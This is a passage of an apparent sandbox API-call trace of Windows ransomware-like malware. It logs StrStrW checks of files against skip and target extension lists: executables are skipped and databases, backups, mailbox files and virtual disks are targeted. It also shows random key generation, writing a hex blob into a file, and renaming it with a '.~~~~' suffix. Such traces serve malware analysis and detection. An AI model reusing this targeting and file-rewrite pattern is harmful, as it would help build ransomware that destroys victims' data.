	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DBF") returned 0x0
	[0084.021] lstrlenW (lpString=".EQL") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".EQL") returned 0x0
	[0084.021] lstrlenW (lpString=".FDB") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".FDB") returned 0x0
	[0084.021] lstrlenW (lpString=".EDB") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".EDB") returned 0x0
	[0084.021] lstrlenW (lpString=".DACPAC") returned 7
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DACPAC") returned 0x0
	[0084.021] lstrlenW (lpString=".VHD") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".VHD") returned 0x0
	[0084.021] lstrlenW (lpString=".DBV") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DBV") returned 0x0
	[0084.021] lstrlenW (lpString=".dacpac") returned 7
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dacpac") returned 0x0
	[0084.022] lstrlenW (lpString=".sdf") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".sdf") returned 0x0
	[0084.022] lstrlenW (lpString=".accdb") returned 6
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".accdb") returned 0x0
	[0084.022] lstrlenW (lpString=".DBX") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DBX") returned 0x0
	[0084.022] lstrlenW (lpString=".MDT") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".MDT") returned 0x0
	[0084.022] lstrlenW (lpString=".SQB") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".SQB") returned 0x0
	[0084.022] lstrlenW (lpString=".vhd") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".vhd") returned 0x0
	[0084.022] lstrlenW (lpString=".bac") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".bac") returned 0x0
	[0084.022] lstrlenW (lpString=".mdf") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".mdf") returned 0x0
	[0084.022] lstrlenW (lpString=".BAK") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".BAK") returned 0x0
	[0084.022] lstrlenW (lpString=".BAC") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".BAC") returned 0x0
	[0084.022] lstrlenW (lpString=".dbs") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dbs") returned 0x0
	[0084.022] lstrlenW (lpString=".vhdx") returned 5
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".vhdx") returned 0x0
	[0084.022] lstrlenW (lpString=".NDF") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".NDF") returned 0x0
	[0084.022] lstrlenW (lpString=".dat") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dat") returned 0x0
	[0084.022] lstrlenW (lpString=".DBS") returned 4
	[0084.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DBS") returned 0x0
	[0084.023] lstrlenW (lpString=".CKP") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".CKP") returned 0x0
	[0084.023] lstrlenW (lpString=".edb") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".edb") returned 0x0
	[0084.023] lstrlenW (lpString=".PST") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".PST") returned 0x0
	[0084.023] lstrlenW (lpString=".dbf") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dbf") returned 0x0
	[0084.023] lstrlenW (lpString=".SQL") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".SQL") returned 0x0
	[0084.023] lstrlenW (lpString=".pst") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".pst") returned 0x0
	[0084.023] lstrlenW (lpString=".dbv") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dbv") returned 0x0
	[0084.023] lstrlenW (lpString=".SDF") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".SDF") returned 0x0
	[0084.023] lstrlenW (lpString=".dtxs") returned 5
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dtxs") returned 0x0
	[0084.023] lstrlenW (lpString=".db3") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".db3") returned 0x0
	[0084.023] lstrlenW (lpString=".OST") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".OST") returned 0x0
	[0084.023] lstrlenW (lpString=".dbx") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dbx") returned 0x0
	[0084.023] lstrlenW (lpString=".DB3") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DB3") returned 0x0
	[0084.023] lstrlenW (lpString=".DAT") returned 4
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DAT") returned 0x0
	[0084.023] lstrlenW (lpString=".VHDX") returned 5
	[0084.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".VHDX") returned 0x0
	[0084.023] lstrlenW (lpString=".ndf") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".ndf") returned 0x0
	[0084.024] lstrlenW (lpString=".DB") returned 3
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DB") returned 0x0
	[0084.024] lstrlenW (lpString=".sql") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".sql") returned 0x0
	[0084.024] lstrlenW (lpString=".MYD") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".MYD") returned 0x0
	[0084.024] lstrlenW (lpString=".DBT") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DBT") returned 0x0
	[0084.024] lstrlenW (lpString=".ACCDB") returned 6
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".ACCDB") returned 0x0
	[0084.024] lstrlenW (lpString=".fdb") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".fdb") returned 0x0
	[0084.024] lstrlenW (lpString=".bak") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".bak") returned 0x0
	[0084.024] lstrlenW (lpString=".myd") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".myd") returned 0x0
	[0084.024] lstrlenW (lpString=".DTXS") returned 5
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".DTXS") returned 0x0
	[0084.024] lstrlenW (lpString=".ckp") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".ckp") returned 0x0
	[0084.024] lstrlenW (lpString=".dbt") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dbt") returned 0x0
	[0084.024] lstrlenW (lpString=".db") returned 3
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".db") returned 0x0
	[0084.024] lstrlenW (lpString=".TXT") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".TXT") returned 0x0
	[0084.024] lstrlenW (lpString=".MDF") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".MDF") returned 0x0
	[0084.024] lstrlenW (lpString=".bdb") returned 4
	[0084.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".bdb") returned 0x0
	[0084.024] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.025] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.025] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.025] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.026] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20401571720) returned 1
	[0084.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9bea07f0, dwHighDateTime=0x1d60e1e)) 
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2480
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2480 | out: hHeap=0x300000) returned 1
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab768
	[0084.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0084.026] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.026] GetLastError () returned 0x0
	[0084.026] GetLastError () returned 0x0
	[0084.026] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.027] GetLastError () returned 0x0
	[0084.027] GetLastError () returned 0x0
	[0084.028] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.028] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1e0, lpOverlapped=0x0) returned 1
	[0084.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0084.028] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.028] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.028] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.028] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.028] CloseHandle (hObject=0x120) returned 1
	[0084.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6978
	[0084.029] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.~~~~")) returned 1
	[0084.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6978 | out: hHeap=0x300000) returned 1
	[0084.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.029] GetLastError () returned 0x0
	[0084.029] RtlWakeConditionVariable () returned 0x365f70
	[0084.029] GetCurrentThreadId () returned 0x3a4
	[0084.029] GetCurrentThreadId () returned 0x3a4
	[0084.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0084.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6c58 | out: hHeap=0x300000) returned 1
	[0084.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a24b8 | out: hHeap=0x300000) returned 1
	[0084.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0084.030] lstrlenW (lpString=".scr") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.030] lstrlenW (lpString=".cmd") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.030] lstrlenW (lpString=".dll") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.030] lstrlenW (lpString=".bat") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.030] lstrlenW (lpString=".cpl") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.030] lstrlenW (lpString=".sys") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.030] lstrlenW (lpString=".msc") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.030] lstrlenW (lpString=".com") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.030] lstrlenW (lpString=".lnk") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.030] lstrlenW (lpString=".msp") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.030] lstrlenW (lpString=".pif") returned 4
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.030] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.031] lstrlenW (lpString=".sqb") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.031] lstrlenW (lpString=".ost") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.031] lstrlenW (lpString=".txt") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.031] lstrlenW (lpString=".mdt") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.031] lstrlenW (lpString=".BDB") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.031] lstrlenW (lpString=".eql") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.031] lstrlenW (lpString=".DBF") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.031] lstrlenW (lpString=".EQL") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.031] lstrlenW (lpString=".FDB") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.031] lstrlenW (lpString=".EDB") returned 4
	[0084.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.031] lstrlenW (lpString=".DACPAC") returned 7
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.032] lstrlenW (lpString=".VHD") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.032] lstrlenW (lpString=".DBV") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.032] lstrlenW (lpString=".dacpac") returned 7
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.032] lstrlenW (lpString=".sdf") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.032] lstrlenW (lpString=".accdb") returned 6
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.032] lstrlenW (lpString=".DBX") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.032] lstrlenW (lpString=".MDT") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.032] lstrlenW (lpString=".SQB") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.032] lstrlenW (lpString=".vhd") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.032] lstrlenW (lpString=".bac") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.032] lstrlenW (lpString=".mdf") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.032] lstrlenW (lpString=".BAK") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.032] lstrlenW (lpString=".BAC") returned 4
